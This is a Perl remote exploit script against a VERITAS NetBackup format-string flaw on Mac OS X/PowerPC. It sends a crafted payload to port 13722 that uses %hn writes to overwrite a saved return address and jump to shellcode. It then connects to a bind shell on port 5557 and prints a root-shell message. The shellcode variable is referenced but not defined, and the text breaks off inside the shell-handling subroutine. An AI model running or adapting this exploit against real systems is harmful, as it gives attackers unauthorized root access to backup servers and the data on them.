#!/usr/bin/perl
# VERITAS-OSX.pl - VERITAS NetBackup Format Strings OSX/ppc Remote Exploit
# johnh[at]digitalmunition[dot]com
# bug found by kf_lists[at]digitalmunition[dot]com
# http://www.digitalmunition.com/
use POSIX;
use IO::Socket;
use IO::Select;
my $host = shift || '192.168.1.111';
my $port = shift || 13722;
my $sock = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp');
$sock or die "no socket :$!";
print $sock " 118 1\n" .
# "a" x 150 . "\n";
$shellcode . "\n";
print scalar <$sock>;
print scalar <$sock>;
#sleep 10;
print $sock " 101 6\n" .
# my $ret = 0xbffe5738; # Saved return from frame 1 vsprintf
# write to 0xbffe5738+2 FIRST then write to 0xbffe5738.
# this allows the wrap past 0xffff to occur so we can form 0010
"\xbf\xfe\x57\x3a" . "ZZZZ" . "\xbf\xfe\x57\x38" . "%x" x 14 .
# shellcode is around 0x001009e8
# "%2474x" # 0x09e8
"%2280x" # 0x0920?
. "%hn" .
"%63212x." # form 0x0010 by wrapping past 0xffff
. "%hn".
"\n" .
"A" x 50 . "\n" .
"B" x 50 . "\n" .
"C" x 50 . "\n" .
# "D" x 50 . "\n" . # shellcode alternate location?
$shellcode . "\n" .
"E" x 50 . "\r\n";
print scalar <$sock>;
close $sock;
my $shellport = 5557;
print "[*] Connect to remote shell port\n";
my $sock = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => $host,
PeerPort => $shellport,
Type => SOCK_STREAM
);
if (! $sock)
{
print "[*] Error, Seems Failed\n";
exit (0);
}
print "[*] G0t R00T\n";
StartShell ($sock);
sub StartShell
{
my ($client) = @_;
my $sel = IO::Select->new();
sub Unblock {
my $fd = shift;
my $flags;
$flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n";
fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n";
}